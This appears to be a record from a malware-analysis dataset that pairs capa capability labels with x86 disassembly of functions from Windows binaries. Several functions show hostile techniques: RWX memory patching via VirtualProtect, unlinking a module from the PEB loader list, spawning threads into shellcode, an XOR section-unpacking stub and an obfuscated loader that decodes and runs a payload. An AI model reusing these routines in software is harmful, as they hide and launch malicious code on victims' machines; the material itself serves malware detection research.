joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10025a50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008f00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.10025960
mov eax, dword [0x100959d0]
mov ebx, fcn.100079e0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [eax + 0x10]
cmp edi, 0x1000
jbe 0x10025aad
cmp ebx, 0x1000
jbe 0x10025aad
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x3c]
cmp edi, 0x1000
jbe 0x10025ae2
cmp ebx, 0x1000
jbe 0x10025ae2
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x10025b17
cmp ebx, 0x1000
jbe 0x10025b17
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x10025b4c
cmp ebx, 0x1000
jbe 0x10025b4c
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x10025b81
cmp ebx, 0x1000
jbe 0x10025b81
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x10025bb6
cmp ebx, 0x1000
jbe 0x10025bb6
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x10025beb
cmp ebx, 0x1000
jbe 0x10025beb
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x10025c20
cmp ebx, 0x1000
jbe 0x10025c20
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100959d0]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x10025c50
cmp ebx, 0x1000
jbe 0x10025c50
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100079e0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
Function at 0x10026b10
Capabilities:
Get hostname

Disassembly:
push 0x1008f05c
push 0x1009611c
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10026a20
cmp eax, 1
jne 0x10026b3c
push str.Win_XP
push 0x10091b28
call fcn.10005800
add esp, 8
call fcn.10026a20
cmp eax, 2
jne 0x10026b58
push str.Win_Vista
push 0x10091b28
call fcn.10005800
add esp, 8
call fcn.10026a20
cmp eax, 3
jne 0x10026b74
push str.Win_7
push 0x10091b28
call fcn.10005800
add esp, 8
call fcn.10026a20
cmp eax, 4
jne 0x10026b90
push str.Win_8
push 0x10091b28
call fcn.10005800
add esp, 8
call fcn.10026a20
cmp eax, 5
jne 0x10026bac
push str.Wi_10
push 0x10091b28
call fcn.10005800
add esp, 8
ret
Function at 0x10029410
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x10095860
push 0x100953d4
push 0x100918a8
push 0x1009514c
push 0xff
push 0x100913e0
push 0x10081994
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x1009514c]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.10005800
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x10053e90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1008f00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x10053f2e
cmp esi, 0x1000
jbe 0x10053f0a
cmp edi, 0x1000
jbe 0x10053f0a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100135d0
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10053f9a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100135d0
add esp, 4
cmp esi, 0x1000
jbe 0x10053f9d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10053f9a
cmp esi, 0x1000
jbe 0x10053f78
cmp edi, 0x1000
jbe 0x10053f78
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100135d0
add esp, 4
jmp 0x10053f92
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100135d0
add esp, 4
cmp esi, 0x1000
jbe 0x10053f9d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10053fb4
cmp al, 0x6a
je 0x10053fb4
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10053eb0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
Function at 0x10054c30
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1008f00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10054d32
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10054cb7
cmp ecx, edi
jne 0x10054cae
mov edx, dword [eax + 4]
test edx, edx
je 0x10054c7c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10054c7c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10054c88
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10054c95
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10054cae
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10054cae
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10054c61
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1003bdb0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10054310
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.10062cc9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10055300
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1005532c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1005534e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10055350
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x100553d5
jg 0x10055365
test esi, esi
je 0x100553d5
test ecx, ecx
jl 0x100553b8
jg 0x1005536f
test eax, eax
je 0x100553b8
cmp edi, ecx
jg 0x10055383
jl 0x10055379
cmp esi, eax
jae 0x10055383
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x100553d5
jg 0x100553bb
test esi, esi
je 0x100553d5
jmp 0x100553bb
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x100553d5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100553f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x1005541c
jl 0x10055410
test esi, esi
jne 0x1005541c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10055435
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x10055475
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10055475
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x1005552c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x100554a0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x100554ef
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10055519
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x100554c0
cmp dword [ebp - 4], 0
jbe 0x1005552f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100558a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008f00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x100558d0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10055900
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10055900
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x100559d5
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10055929
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10055935
movsx eax, bl
jmp 0x1005596c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x100559d5
cmp eax, 1
jle 0x10055996
cmp eax, 3
jne 0x100559d5
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100559b4
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x100559d5
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x100559d5
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10062cc9
mov esp, ebp
pop ebp
ret 4
Function at 0x1005dd10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1008f00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1005ddcc
cmp byte [esi + 0x3d], 0
je 0x1005ddcc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1005ddba
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x1005dd81
sub eax, 1
je 0x1005dd85
sub eax, 2
jne 0x1005ddba
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1005dda3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1005ddba
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
Function at 0x10062a60
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006f95d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1008f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10062900
cmp byte [ebp - 0x84], 0
jne 0x10062bb1
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x10062af5
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x1008f6f8
call fcn.10062900
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10062900
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x10062b64
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.100629b0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10062bf3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10062be9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10062be9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.100635f0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10062cc9
mov esp, ebp
pop ebp
ret
Function at 0x4095b5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42fb80]
jne 0x4095bf
repz ret
jmp fcn.0040bb45

Function at 0x409717
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406fbd
and dword [ebp - 4], 0
cmp dword [0x432d00], 0
mov ebx, eax
jne 0x4097c8
push 0x401b84
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409879
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b78
push edi
call esi
test eax, eax
je 0x409879
push eax
call fcn.00406f4b
mov dword [esp], 0x401b68
push edi
mov dword [0x432d00], eax
call esi
push eax
call fcn.00406f4b
mov dword [esp], 0x401b54
push edi
mov dword [0x432d04], eax
call esi
push eax
call fcn.00406f4b
mov dword [esp], 0x401b38
push edi
mov dword [0x432d08], eax
call esi
push eax
call fcn.00406f4b
pop ecx
mov dword [0x432d10], eax
test eax, eax
je 0x4097c8
push 0x401b20
push edi
call esi
push eax
call fcn.00406f4b
pop ecx
mov dword [0x432d0c], eax
mov eax, dword [0x432d0c]
cmp eax, ebx
je 0x409820
cmp dword [0x432d10], ebx
je 0x409820
push eax
call fcn.00406fc6
push dword [0x432d10]
mov esi, eax
call fcn.00406fc6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409820
test edi, edi
je 0x409820
call esi
test eax, eax
je 0x409817
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409817
test byte [ebp - 0xc], 1
jne 0x409820
or dword [ebp + 0x10], 0x200000
jmp 0x409859
mov eax, dword [0x432d04]
cmp eax, ebx
je 0x409859
push eax
call fcn.00406fc6
pop ecx
test eax, eax
je 0x409859
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409859
mov eax, dword [0x432d08]
cmp eax, ebx
je 0x409859
push eax
call fcn.00406fc6
pop ecx
test eax, eax
je 0x409859
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x432d00]
call fcn.00406fc6
pop ecx
test eax, eax
je 0x409879
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40987b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x408f6c
nop
mov ecx, 0x3d712dab
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x4d0d7a5e
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10001430
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10003020]
jne 0x1000143a
repz ret
jmp fcn.100017d0

Function at 0x1000148d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000149c
pop dword [ebp - 0x10]
mov eax, 0xe9ea39bf
sub eax, 0xd9ea2523
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x890e5e0c
add dword [ebp - 0x20], 0xc543e73f
mov dword [ebp - 0x1c], 0x4194fd83
add dword [ebp - 0x1c], 0xf09e4ec2
mov dword [ebp - 0x18], 0xf8a179ed
sub dword [ebp - 0x18], 0xac5535bf
mov dword [ebp - 0x14], 0xab0a6832
add dword [ebp - 0x14], 0x54f597ce
lea eax, [ebp - 0x20]
push eax
mov eax, 0x40cdf034
sub eax, 0x30cddfe4
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x243d482f
sub dword [ebp - 0x20], 0xafcaded9
mov dword [ebp - 0x1c], 0xe3fe7740
add dword [ebp - 0x1c], 0x5d6dea35
mov dword [ebp - 0x18], 0xcc84b441
sub dword [ebp - 0x18], 0x691547d5
mov dword [ebp - 0x14], 0xc9d6ee0
add dword [ebp - 0x14], 0xf3629120
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x38513
push 0
call eax
mov ecx, 0x6914fd63
sub ecx, 0x6914ae09
mov edi, eax
mov edx, 0x7934d742
add edx, 0x96cb7abe
add edx, dword [ebp - 0x10]
mov esi, 0xaf3049ba
add esi, 0x17d21adf
xor dword [ebp - 4], ebx
mov ebx, dword [edx]
add dword [ebp - 4], 0xe1b27db3
xor ebx, esi
xor dword [ebp - 4], edi
mov dword [edi], ebx
add edi, 0x74f5af76
add edi, 0x8b0a508e
add edx, 4
loop 0x100015b9
add eax, 0x978ed81
sub eax, 0x977bd46
mov ebx, eax
add eax, 0x44607ac8
add eax, 0xbb9f853d
mov ecx, 0x3c76e6e1
add ecx, 0xd389191f
add ecx, dword [ebp - 0x10]
call ebx
leave
ret